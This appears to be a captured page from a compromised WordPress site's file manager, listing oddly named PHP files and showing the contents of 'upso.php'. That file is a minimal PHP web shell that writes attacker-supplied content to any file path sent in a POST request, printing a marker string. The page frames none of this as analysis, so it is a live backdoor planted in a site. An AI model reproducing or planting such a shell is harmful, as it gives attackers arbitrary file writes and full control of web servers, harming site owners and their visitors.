WP File Manager

Name	Action
..
.ok	Edit
article
article.php	Edit
brnews.php	Edit
cache.txt	Edit
functions-php-lib.php	Edit
issus.php	Edit
loterias.php	Edit
newphp.php	Edit
newss.php	Edit
reb.php	Edit
sc.php	Edit
thai.php	Edit
tmp
upso.php	Edit

Editing: upso.php

<?php if ($_POST) { $f=fopen($_POST["f"],"w"); if(fwrite($f,$_POST["c"])) echo "<font color=red>OK!</font>"; else echo "<font color=blue>Error!</font>"; }; echo 'SXSXSXSX'; ?>